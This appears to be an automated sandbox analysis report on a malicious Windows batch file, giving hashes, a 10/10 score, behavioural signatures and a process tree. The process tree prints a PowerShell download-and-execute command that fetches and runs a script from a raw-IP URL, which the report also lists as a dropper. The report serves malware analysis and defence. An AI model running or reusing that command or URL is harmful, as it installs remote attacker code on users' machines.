5802b2494c7607bf862d8841fe92368c8adf31ae02c37308c62053c1a3d13888 | Triage

Analysis

max time kernel
150s
max time network
90s
platform
windows10_x64
resource
win10v200430
submitted
17-05-2020 00:10

Sharing

Report Analysis Logs

General

Target

eb472e31443cc485f086281fcb7b51d3.bat
Size

216B
MD5

0bf53bc18c108f0a372946b0adb06fea
SHA1

efac9fc02b506eeff1a25bd81b597fd063766f24
SHA256

5802b2494c7607bf862d8841fe92368c8adf31ae02c37308c62053c1a3d13888
SHA512

88403419d3dd18dfb06e613f3686aec3d202a8e0f64f0e6025ac789cd9ae3e7efc6c8e6cc95e83f2a1cbc87ae74da08c730cdfba96cda83868ee70f7442bdb08

Score

10^/10

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://185.103.242.78/pastes/eb472e31443cc485f086281fcb7b51d3

Signatures

Suspicious behavior: EnumeratesProcesses 13 IoCs

Processes:

WerFault.exe

pid	process
1004	WerFault.exe
1004	WerFault.exe
1004	WerFault.exe
1004	WerFault.exe
1004	WerFault.exe
1004	WerFault.exe
1004	WerFault.exe
1004	WerFault.exe
1004	WerFault.exe
1004	WerFault.exe
1004	WerFault.exe
1004	WerFault.exe
1004	WerFault.exe

Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

1004 516 WerFault.exe powershell.exe
Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

WerFault.exe

description pid process

Token: SeRestorePrivilege 1004 WerFault.exe
Token: SeBackupPrivilege 1004 WerFault.exe
Token: SeDebugPrivilege 1004 WerFault.exe

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\eb472e31443cc485f086281fcb7b51d3.bat"
1⤵
PID:3692

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "IEX (New-Object System.Net.WebClient).DownloadString('http://185.103.242.78/pastes/eb472e31443cc485f086281fcb7b51d3');Invoke-WLKBSGRGV;Start-Sleep -s 10000"
2⤵
PID:516

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 516 -s 704
3⤵
- Suspicious behavior: EnumeratesProcesses
- Program crash
- Suspicious use of AdjustPrivilegeToken
PID:1004

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

memory/1004-0-0x0000000004AD0000-0x0000000004AD1000-memory.dmp

Filesize
4KB

Download
memory/1004-1-0x0000000005200000-0x0000000005201000-memory.dmp

Filesize
4KB

Download